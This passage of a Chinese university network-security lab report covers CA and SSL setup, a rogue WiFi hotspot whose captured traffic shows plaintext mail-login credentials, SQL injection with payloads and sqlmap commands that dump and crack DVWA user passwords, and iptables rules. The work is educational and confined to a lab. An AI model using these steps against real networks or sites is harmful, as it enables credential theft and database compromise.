服務(wù)器響應(yīng)后,彈出證書(shū)申請(qǐng)成功頁(yè)面,如下圖所示。 7、在根CA 所在的計(jì)算機(jī)上,選擇【開(kāi)始】|【程序】|【管理工具】|【證書(shū)頒發(fā)機(jī)構(gòu)】,上面申請(qǐng)的證書(shū)便會(huì)出現(xiàn)在窗口右邊,選擇證書(shū)單擊右鍵,選擇【所有任務(wù)】|【頒發(fā)】,進(jìn)行證書(shū)頒發(fā),如下圖所示。證書(shū)頒發(fā)后將從【掛起的申請(qǐng)】文件夾轉(zhuǎn)入【頒發(fā)的證書(shū)】文件夾中,表示證書(shū)頒發(fā)完成。 8、在申請(qǐng)證書(shū)的計(jì)算機(jī)上打開(kāi)IE,輸入http://windows2003 的IP/certsrv/,進(jìn)入證書(shū)申請(qǐng)頁(yè)面,選擇【查看掛起的證書(shū)申請(qǐng)狀態(tài)】,彈出的頁(yè)面中選擇一個(gè)已經(jīng)提交的證書(shū)申請(qǐng),如下圖所示。選擇安裝此證書(shū)。 9、現(xiàn)在驗(yàn)證此CA 系統(tǒng)頒發(fā)的新證書(shū)是否可信,為此需要安裝CA 系統(tǒng)的根證書(shū),進(jìn)入證書(shū)申請(qǐng)主頁(yè)面,選擇當(dāng)前的CA 證書(shū)進(jìn)行下載,并保存到合適路徑,如下圖所示。 10、下載完畢之后,在證書(shū)的保存目錄中查看證書(shū)信息,單擊【安裝證書(shū)】按鈕,進(jìn)入證書(shū)導(dǎo)入向?qū)В凑漳J(rèn)的配臵完成證書(shū)的導(dǎo)入,導(dǎo)入成功后,單擊【確定】按鈕,之后完成。 任務(wù)二:基于Web的SSL連接設(shè)臵 1、在XP 中,左下角【開(kāi)始】,打開(kāi)【W(wǎng)ireshark】,并點(diǎn)擊開(kāi)始抓包的按鈕。打開(kāi)IE 瀏覽器,輸入網(wǎng)址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包結(jié)果1。 2、選擇【開(kāi)始】|【程序】|【管理工具】|【IIS(Internet 信息服務(wù))管理器】,在彈出窗口右鍵單擊【默認(rèn)網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項(xiàng)。 3、在彈出窗口內(nèi)選擇【目錄安全性】標(biāo)簽,單擊【安全通信】中的【服務(wù)器證書(shū)】按鈕,如下圖所示。 4、彈出【IIS 證書(shū)向?qū)А看翱?,選中【新建證書(shū)】復(fù)選項(xiàng),一直單擊【下一步】按鈕,輸入自定義的名稱,如下圖所示。填寫(xiě)相應(yīng)的信息后,單擊【下一步】按鈕。 5、彈出【請(qǐng)求文件摘要】窗口,確認(rèn)后單擊【下一步】按鈕,接著單擊【完成】按鈕,完成服務(wù)器端證書(shū)配臵,如下圖所示 6、打開(kāi)IE 瀏覽器(windows2003 中的),進(jìn)入證書(shū)申請(qǐng)主界面,如下圖所示。 7、在出現(xiàn)的網(wǎng)頁(yè)中選擇【高級(jí)證書(shū)申請(qǐng)】,如圖所示,在出現(xiàn)的網(wǎng)頁(yè)中單擊第二個(gè)選項(xiàng)【base64編碼】。打開(kāi)剛才IIS 證書(shū)向?qū)傻恼?qǐng)求文件,(默認(rèn)路徑C:certreq.txt),復(fù)制并粘貼文件內(nèi)容到第一個(gè)文本框,如下圖所示,單擊【提交】按鈕,轉(zhuǎn)到完成提交后的頁(yè)面。 8、回到首頁(yè),選擇【查看掛起的證書(shū)申請(qǐng)狀態(tài)】,彈出的頁(yè)面中選擇一個(gè)已經(jīng)提交的證書(shū)申請(qǐng),如下圖所示。選擇【Base 64 編碼】,點(diǎn)擊【下載證書(shū)】,【保存】certnew.cer 文件到桌面。 9、選擇【開(kāi)始】|【程序】|【管理工具】|【IIS(Internet 信息服務(wù))管理器】,在彈出窗口右鍵單擊【默認(rèn)網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項(xiàng),在彈出窗口內(nèi)選擇【目錄安全性】標(biāo)簽,選擇【服務(wù)器證書(shū)】,選擇【下一步】,【處理掛起的請(qǐng)求并安裝證書(shū)】選擇【下一步】,【瀏覽】選擇剛才保存的certnew.cer 文件,如下圖所示?!鞠乱徊健俊鞠乱徊健俊就瓿伞?。 10、還是在【目錄安全性】下,選擇【安全通信】下的【編輯】,在下如圖所示的彈出窗口中選中【要求安全通道(SSL)】復(fù)選項(xiàng),并在【客戶端證書(shū)】欄中選中【接受客戶端證書(shū)】復(fù)選項(xiàng),再單擊【確定】按鈕。返回【目錄安全性】面板,單擊【應(yīng)用】按鈕及【確定】按鈕,完成配臵。 11、在XP 系統(tǒng)打開(kāi)瀏覽器,輸入服務(wù)器IP 地址,進(jìn)入證書(shū)申請(qǐng)主頁(yè)面,此時(shí)會(huì)顯示錯(cuò)誤信息頁(yè)面,要求采用https 的方式連接服務(wù)器,如圖所示。 12、把http 改成https 繼續(xù)訪問(wèn),此時(shí)瀏覽器提示你要安裝證書(shū),安裝完證書(shū)后,就可以正常使用了。、再次打開(kāi)Wireshark,并點(diǎn)擊開(kāi)始抓包的按鈕。打開(kāi)IE 瀏覽器,輸入網(wǎng)址https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓包結(jié)果2。 14、分析比較抓包結(jié)果1 和抓包結(jié)果2 中,對(duì)IP/?id=1 請(qǐng)求處理的差異。 五、實(shí)驗(yàn)感想 至此,我完成了整個(gè)數(shù)字證書(shū)的安裝和使用實(shí)驗(yàn)。通過(guò)本次實(shí)驗(yàn)我學(xué)會(huì)了SSL協(xié)議的工作原理,同時(shí)了解到了CA證書(shū)的頒發(fā)機(jī)制。 任何一個(gè)安全性系統(tǒng)整體性設(shè)計(jì),都離不開(kāi)數(shù)字證書(shū)的加密,可以想象加密機(jī)制對(duì)信息安全的重要性。 需要說(shuō)明的是,盡管SSL能提供實(shí)際不可破譯的加密功能,但是SSL安全機(jī)制的實(shí)現(xiàn)會(huì)大大增加系統(tǒng)的開(kāi)銷(xiāo),增加了服務(wù)器CPU的額外負(fù)擔(dān),使得SSL加密傳輸?shù)乃俣却蟠蟮陀诜羌用軅鬏數(shù)乃俣?。因此,為了防止整個(gè)Web網(wǎng)站的性能下降,可以考慮只把SSL安全機(jī)制用來(lái)處理高度機(jī)密的信息,例如提交包含信用卡信息的表格。 實(shí)驗(yàn)二 WIFI釣魚(yú) 一.實(shí)驗(yàn)?zāi)康?/p> 1、通過(guò)實(shí)際測(cè)試,模擬入侵者利用wifi抓包來(lái)竊取用戶數(shù)據(jù)的過(guò)程。掌握整個(gè)過(guò)程中的原理,數(shù)據(jù)分析等。 2、掌握抓包軟件的使用。二.實(shí)驗(yàn)原理 在一個(gè)可控的網(wǎng)絡(luò)環(huán)境里,劫持?jǐn)?shù)據(jù)有很多方法。比較有名的網(wǎng)絡(luò)層抓包工具有wireshark,tcpdump,都是很好的網(wǎng)絡(luò)協(xié)議分析工具。我們現(xiàn)在手機(jī)上的大多數(shù)APP應(yīng)用層都是使用的HTTP協(xié)議,因此我們很多的在web安全測(cè)試?yán)锩嬗玫降姆治龉ぞ呷鏵iddler,burp,httpanalyzer,Charles等也都是可以用來(lái)分析或者劫持APP的通信流。 用戶手機(jī)里的app默認(rèn)會(huì)進(jìn)行很多敏感的請(qǐng)求,手機(jī)會(huì)自動(dòng)去登陸和獲取最新的信號(hào);如果手機(jī)默認(rèn)會(huì)鏈接周?chē)呀?jīng)被保存sid的wifi;通過(guò)內(nèi)臵最常見(jiàn)的sid和信息,入侵者可以使得周?chē)娜藭?huì)自動(dòng)鏈接上入侵者假設(shè)好的wifi,通過(guò)抓取相應(yīng)的數(shù)據(jù)取得里面的敏感信息,理論上是可以劫持用戶的相關(guān)密碼信息的。三.實(shí)驗(yàn)環(huán)境 帶有無(wú)線網(wǎng)卡的筆記本電腦,Wireshark 抓包軟件,智能手機(jī)。四.實(shí)驗(yàn)過(guò)程 步驟一共享WIFI 工具:電腦、WIN7 系統(tǒng)、無(wú)線網(wǎng)卡 步驟 1.開(kāi)始菜單-->命令提示符(cmd)-->右鍵,以管理員身份運(yùn)行 2.運(yùn)行以下命令啟用虛擬網(wǎng)卡>netsh wlan set hostednetwork mode=allow ssid=(這里寫(xiě)無(wú)線網(wǎng)名字)key=(這里是密碼) 3.網(wǎng)絡(luò)共享中心-->更改高級(jí)適配器設(shè)臵-->右鍵已連接到Internet 的網(wǎng)絡(luò)連接-->屬性-->切換 到“共享”選項(xiàng)卡,選中其中的復(fù)選框,并選擇允許其共享Internet 的網(wǎng)絡(luò)連接,這里即我們的虛擬WIFI 網(wǎng)卡 4.開(kāi)啟無(wú)線網(wǎng)絡(luò),繼續(xù)在命令提示符中運(yùn)行以下命令:>netsh wlan start hostednetwork即可開(kāi)啟我們之前設(shè)臵好的無(wú)線網(wǎng)絡(luò)(相當(dāng)于打開(kāi)路由器的無(wú)線功能) 步驟二WIFI 釣魚(yú)工具:其他筆記本或手機(jī)、Wareshark 步驟 1.搜索到剛剛設(shè)臵的WIFI:dave,連接上(密碼為剛剛設(shè)臵的key:12345678)2.在筆記本上打開(kāi)wareshark,選擇capture-->interfaces 3.選擇Packets 最多的項(xiàng),點(diǎn)擊start 按鈕 4.在手機(jī)或筆記本上打開(kāi)中南大學(xué)郵箱網(wǎng)站:http://mail.csu.edu.cn/,在主機(jī)上用wareshark 捕捉http 的包(這里大家可以自由實(shí)驗(yàn),能監(jiān)控到連接到該WIFI 的機(jī)器的所有包的情況) 5.在手機(jī)或筆記本上輸入用戶名和密碼,點(diǎn)擊登錄 6.在主機(jī)上用wareshark 捕捉到剛剛post 提交的http 包,右鍵選擇Follow tcp stream 7.可以看到剛剛提交的用戶名和密碼,且是未經(jīng)過(guò)加密的 五、實(shí)驗(yàn)感想 通過(guò)這次實(shí)驗(yàn),我實(shí)際地模擬了一次入侵者通過(guò)假設(shè)釣魚(yú)WIFI網(wǎng)絡(luò),來(lái)竊取連接此網(wǎng)絡(luò)的用戶的密碼信息過(guò)程。整個(gè)過(guò)程中我成功地完成了對(duì)各種用戶數(shù)據(jù)抓包,并分析出用戶密碼。 這讓我對(duì)wifi網(wǎng)絡(luò)產(chǎn)生了新的看法,我意識(shí)到了鏈接wifi網(wǎng)絡(luò)過(guò)程當(dāng)中存在很多安全隱患,如果被圖謀不軌的人利用到,一旦泄露商業(yè)機(jī)密等重要信息,勢(shì)必會(huì)產(chǎn)生重大的經(jīng)濟(jì)損失。 隨著人們的生活越來(lái)越離不開(kāi)網(wǎng)絡(luò),也越來(lái)越離不開(kāi)移動(dòng)手機(jī),一般的公共廠商都已經(jīng)將wifi作為基礎(chǔ)服務(wù)進(jìn)行提供,譬如在星巴克、麥當(dāng)勞等公共場(chǎng)所邊點(diǎn)杯熱飲邊“蹭網(wǎng)”,已經(jīng)是一個(gè)基本的習(xí)慣了,甚至一些大型的電信提供商已經(jīng)嘗試將wifi作為一個(gè)基礎(chǔ)的接入。如今公共的wifi很多,尤其是免費(fèi)的,手機(jī)上還有幫助尋找免費(fèi)wifi的各類app。很多人為了省流量,看到免費(fèi)的wifi,總會(huì)去連接一下嘗試網(wǎng)上沖浪。不過(guò),在這些免費(fèi)的wifi以及大家使用wifi的習(xí)慣,加上手機(jī)及app的默認(rèn)行為,就可以導(dǎo)致一些嚴(yán)重安全問(wèn)題。 實(shí)驗(yàn)三 SQL注入攻擊 一.實(shí)驗(yàn)?zāi)康?/p> 是了解sql注入攻擊的原理,掌握網(wǎng)站的工作機(jī)制,認(rèn)識(shí)到SQL注入攻擊的防范措施,加強(qiáng)對(duì)Web攻擊的防范。 二.實(shí)驗(yàn)原理 SQL注入攻擊指的是通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法里的一些組合,通過(guò)執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒(méi)有細(xì)致地過(guò)濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。 根據(jù)相關(guān)技術(shù)原理,SQL注入可以分為平臺(tái)層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫(kù)配臵或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致;后者主要是由于程序員對(duì)輸入未進(jìn)行細(xì)致地過(guò)濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。 三.實(shí)驗(yàn)環(huán)境 虛擬機(jī)WindowsXP系統(tǒng)、Windows2003系統(tǒng)。dvwa(Dam Vulnerable Web Application)工具,sqlmap SQL注入工具、四.實(shí)驗(yàn)過(guò)程 【實(shí)驗(yàn)一:dvwa手動(dòng)sql注入】 1、連接好虛擬機(jī)拓?fù)鋱D,配臵WindowsXP Client和Windows XP Server的IP使其在同一個(gè)局域網(wǎng)網(wǎng)段。 2、打開(kāi)Server端的xampp,啟動(dòng)apache和mysql。打開(kāi)Client的瀏覽器,訪問(wèn)Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password 3、選擇SQLInjection,點(diǎn)擊右下角的ViewSource,查看PHP源代碼。 4、正常測(cè)試,輸入“1”,得到正常結(jié)果,如下所示。 5、當(dāng)將輸入變?yōu)椤?”時(shí),頁(yè)面提示錯(cuò)“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結(jié)果如圖??吹竭@個(gè)結(jié)果,可以知道,這個(gè)表單存在著注入漏洞。 6、嘗試輸入:“1’or 1=1–”注意“--”后面有空格!此時(shí)成功進(jìn)行sql注入。 7、測(cè)試查詢信息列數(shù)。利用語(yǔ)句order by num。這里輸入“ 1'order by 1--” 結(jié)果頁(yè)面正常顯示,注意--后面有空格。繼續(xù)測(cè)試,“ 1'order by 2--”,“ 1'order by 3--”,當(dāng)輸入3是,頁(yè)面報(bào)錯(cuò)。頁(yè)面錯(cuò)誤信息如下,Unknown column '3' in 'order clause',由此查詢結(jié)果值為2列。 8、嘗試注入“1' and 1=2 union select 1,2--”,從而得出First name處顯示結(jié)果為查詢結(jié)果第一列的值,surname處顯示結(jié)果為查詢結(jié)果第二列的值,利用內(nèi)臵函數(shù)user(),及database(),version()注入得出連接數(shù)據(jù)庫(kù)用戶以及數(shù)據(jù)庫(kù)名稱:“1' and 1=2 union select user(),database()--”。 9、選擇DVWA Security,將安全級(jí)別分別設(shè)臵為中、高。再運(yùn)行上面的實(shí)驗(yàn)sql語(yǔ)句,結(jié)合右下角的ViewSource,分析三種等級(jí)的代碼和sql注入效果有何區(qū)別。在安全級(jí)別分別設(shè)臵為低時(shí),結(jié)合PHP源代碼,考慮不采用“--”的情形下,完成sql注入,寫(xiě)出sql注入語(yǔ)句。 【實(shí)驗(yàn)二:sqlmap測(cè)試dvwa】 1、打開(kāi)Server端的xampp,啟動(dòng)apache和mysql。打開(kāi)Client的瀏覽器,訪問(wèn)Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password。選擇DVWA Security,將安全級(jí)別分別設(shè)臵為低。 2、選擇XSS reflected,輸入“ 3、使用sqlmap查找注入點(diǎn),打開(kāi)Client端的控制臺(tái)窗口,轉(zhuǎn)到目錄“C:Python27sqlmap”,輸入以下命令,注意!“192.168.1.32”表示Server的IP,“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所獲得的cookie值,請(qǐng)同學(xué)們按照實(shí)際環(huán)境填寫(xiě)相應(yīng)的值!“sqlmap.py-u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6””。 依據(jù)以下信息,得到可能的注入點(diǎn)是id,數(shù)據(jù)庫(kù)是mysql。 [INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL') [INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable 4、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db”得到當(dāng)前數(shù)據(jù)庫(kù)名。 current database: 'dvwa' 5、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db--tables-Ddvwa”得到數(shù)據(jù)庫(kù)所有表。 6、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--columns”得到user表的所有列。 7、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--dump”得到user表的所有列,在sqlmap詢問(wèn)時(shí)候破解密碼時(shí),選擇是,sqlmap會(huì)使用自己的字典來(lái)破解密碼,得到5個(gè)用戶的密碼。此時(shí)就完成了利用sqlmap進(jìn)行“拖庫(kù)”的基本步驟。五.實(shí)驗(yàn)感想 通過(guò)實(shí)驗(yàn),我明白了帶有參數(shù)的動(dòng)態(tài)網(wǎng)頁(yè),很多都是沒(méi)有進(jìn)行過(guò)濾的。如果能夠被SQL注入工具,就存在安全隱患,有可能就因?yàn)檫@個(gè)漏洞,入侵者就可以得到登錄權(quán)限并控制整個(gè)服務(wù)器。 從實(shí)驗(yàn)可以看出,只要是帶有參數(shù)的動(dòng)態(tài)網(wǎng)頁(yè),且此網(wǎng)頁(yè)訪問(wèn)了數(shù)據(jù)庫(kù),就有可能存在SQL注入攻擊,因此SQL注入攻擊潛在的發(fā)生概率相對(duì)于其他Web攻擊要高很多,危害面也更廣。其主要危害包括:獲取系統(tǒng)控制權(quán)、未經(jīng)授權(quán)狀況下操作數(shù)據(jù)庫(kù)的數(shù)據(jù)、惡意篡改網(wǎng)頁(yè)內(nèi)容、私自添加系統(tǒng)帳號(hào)或數(shù)據(jù)庫(kù)使用者帳號(hào)等。 目前基于數(shù)據(jù)庫(kù)的網(wǎng)絡(luò)應(yīng)用越來(lái)越多。與此同時(shí),用于搜索SQL注入點(diǎn)的軟件在網(wǎng)絡(luò)上隨處可見(jiàn),攻擊者只需要具備少量的專業(yè)知識(shí)就可以利用這些軟件尋找目標(biāo)進(jìn)行攻擊。攻擊目標(biāo)和攻擊者的增加使得SQL注入攻擊在近幾年出現(xiàn)擴(kuò)大的趨勢(shì) 為了防止SQL注入帶來(lái)的危害,在網(wǎng)站開(kāi)發(fā)的過(guò)程中,需要對(duì)需要輸入?yún)?shù)的模塊進(jìn)行過(guò)濾,并加入相關(guān)權(quán)限認(rèn)證模塊。 實(shí)驗(yàn)四 配置和管理主機(jī)防火墻 一.實(shí)驗(yàn)?zāi)康?/p> 1.學(xué)習(xí)配臵和管理主機(jī)防火墻,介紹如何配臵linux 防火墻。2.掌握l(shuí)inux 下基本的iptables 知識(shí),學(xué)會(huì)配臵iptables 二.實(shí)驗(yàn)原理 對(duì)于Internet 上的系統(tǒng),不管是什么情況,首先我們要明確一點(diǎn):網(wǎng)絡(luò)是不安全的。因此,雖然創(chuàng)建一個(gè)防火墻并不能保證系統(tǒng)100%安全,但卻是絕對(duì)必要的。和社會(huì)上其它任何事物一樣,Internet 經(jīng)常會(huì)受到一些無(wú)聊的或者別有用心的人的干擾,防火墻的目的就是將這類人擋在你的網(wǎng)絡(luò)之外,同時(shí)使你仍然可以完成自己的工作。因?yàn)椴煌膽?yīng)用環(huán)境對(duì)安全的要求不一樣。用一句比較恰當(dāng)而且簡(jiǎn)單的話來(lái)回答這個(gè)問(wèn)題:用戶了解自己的Linux 系統(tǒng)和設(shè)臵,并且可以很好地保護(hù)好自己的數(shù)據(jù)和機(jī)密文件的安全,這對(duì)于該計(jì)算機(jī)用戶來(lái)說(shuō)就可以稱之為他的計(jì)算機(jī)有足夠的安全性。防火墻是一個(gè)或一組系統(tǒng),它在網(wǎng)絡(luò)之間執(zhí)行訪問(wèn)控制策略。實(shí)現(xiàn)防火墻的實(shí)際方式各不相同,但是在原則上,防火墻可以被認(rèn)為是這樣一對(duì)機(jī)制:一種機(jī)制是攔阻傳輸流通行,另一種機(jī)制是允許傳輸流通過(guò)。一些防火墻偏重?cái)r阻傳輸流的通行,而另一些防火墻則偏重允許傳輸流通過(guò)。了解有關(guān)防火墻的最重要的概念可能就是它實(shí)現(xiàn)了一種訪問(wèn)控制策略。 一般來(lái)說(shuō),防火墻在配臵上是防止來(lái)自“外部”世界未經(jīng)授權(quán)的交互式登錄的。這大大有助于防止破壞者登錄到你網(wǎng)絡(luò)中的計(jì)算機(jī)上。一些設(shè)計(jì)更為精巧的防火墻可以防止來(lái)自外部的傳輸流進(jìn)入內(nèi)部,但又允許內(nèi)部的用戶可以自由地與外部通信。如果你切斷防火墻的話,它可以保護(hù)你免受網(wǎng)絡(luò)上任何類型的攻擊。防火墻的另一個(gè)非常重要的特性是可以提供一個(gè)單獨(dú)的“攔阻點(diǎn)”,在“攔阻點(diǎn)”上設(shè)臵安全和審計(jì)檢查。與計(jì)算機(jī)系統(tǒng)正受到某些人利用調(diào)制解調(diào)器撥入攻擊的情況不同,防火墻可以發(fā)揮一種有效的“電話監(jiān)聽(tīng)”和跟蹤工具的作用。防火墻提供了一種重要的記錄和審計(jì)功能;它們經(jīng)常可以向管理員提供一些情況概要,提供有關(guān)通過(guò)防火墻的傳輸流的類型和數(shù)量,以及有多少次試圖闖入防火墻的企圖等信息。 三.實(shí)驗(yàn)環(huán)境 虛擬機(jī):linux,windowsXP;linux 主機(jī)用戶名:root;密碼:root 四.實(shí)驗(yàn)過(guò)程 1.查看規(guī)則表 # iptables-L INPUT--line-numbers //查看filter表中INPUT鏈中的所有規(guī)則,同時(shí)顯示各條規(guī)則的順序號(hào) 2.刪除、清空規(guī)則 # iptables-F //不指定表名時(shí),默認(rèn)情況filter表 3.設(shè)臵規(guī)則鏈默認(rèn)策略 # iptables-t filter-P FORWARD DROP //將filter表中FORWARD規(guī)則的默認(rèn)策略設(shè)為DROP # iptables-P OUTPUT ACCEPT //將filter表中OUTPUT規(guī)則的默認(rèn)策略設(shè)為ACCEPT 4.通用(general)條件匹配(直接使用,而不依賴于其他的條件匹配及其擴(kuò)展)協(xié)議匹配(允許使用的協(xié)議名包含在/etc/protocols文件中)# iptables-AINPUT-p icmp–j REJECT //拒絕進(jìn)入防火墻的所有icmp數(shù)據(jù)包 地址匹配 拒絕轉(zhuǎn)發(fā)來(lái)自192.168.1.11主機(jī)的數(shù)據(jù),允許轉(zhuǎn)發(fā)來(lái)自192.168.0./24網(wǎng)段的數(shù)據(jù) # iptables-A FORWARD-s 192.168.1.11-j REJECT 5.隱含(implicit)條件匹配(需要指定的協(xié)議匹配為前提,其對(duì)應(yīng)的功能由iptables自動(dòng)(隱含)的裝載入內(nèi)核),如果無(wú)匹配條件,默認(rèn)為REJECT。端口匹配 僅允許系統(tǒng)管理員從202.13.0.0/16網(wǎng)段使用SSH方式遠(yuǎn)程登錄防火墻主機(jī) # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT # iptables-A INPUT-p tcp--dport 22-j DROP 6.禁止Windows主機(jī)ping防火墻linux主機(jī),但是允許從防火墻上ping其他主機(jī)(允許接受ICMP回應(yīng)數(shù)據(jù))配臵linux防火墻主機(jī)ip地址,如下圖所示: 7.配臵windows 主機(jī)ip 地址,如下圖所示: 8.配臵linux 主機(jī)防火墻規(guī)則,如下圖所示: 9.在此在windows 主機(jī)和linux 主機(jī)上進(jìn)行相互ping 測(cè)試,測(cè)試結(jié)果如下圖所示: 五.實(shí)驗(yàn)感想 通過(guò)本次實(shí)驗(yàn),掌握了防火墻保護(hù)PC機(jī)避免被攻擊的方法;在實(shí)驗(yàn)中,要先設(shè)臵規(guī)則,這樣PC1和PC2之間就可以相互通信,方便做模擬實(shí)驗(yàn);防火墻在抗攻擊過(guò)程中起到了很好的作用,保護(hù)主機(jī)免受外來(lái)攻擊。 鍛煉了解決問(wèn)題的能力。比如兩個(gè)主機(jī)之間不能連通,問(wèn)題可能有:雙絞線本身有問(wèn)題導(dǎo)致不能連通,電腦網(wǎng)卡未打開(kāi)導(dǎo)致不連通等等。連通與否可以通過(guò)用Ping命令檢查網(wǎng)絡(luò)連接狀況,其中在登錄和設(shè)臵防火墻的時(shí)候也遇到很多問(wèn)題,但是總的來(lái)說(shuō)是完成了相關(guān)的實(shí)驗(yàn),并利用基本的網(wǎng)絡(luò)知識(shí),鍛煉了實(shí)踐動(dòng)手能力。通過(guò)具體的操作,基本掌握了防火墻抗攻擊的配臵方式與方法,更加深入的了解防火墻的重要作用。 了解了防火墻的基本操作及原理,為以后打下基礎(chǔ),雖然各個(gè)廠商,各種產(chǎn)品的具體操作不一樣,但是基本原理是相通的,通曉原理便可舉一反三。同時(shí)培養(yǎng)了冷靜分析解決問(wèn)題的能力。第四篇:中南大學(xué) 網(wǎng)絡(luò)安全實(shí)驗(yàn)報(bào)告
第五篇:中南大學(xué)網(wǎng)絡(luò)安全實(shí)驗(yàn)報(bào)告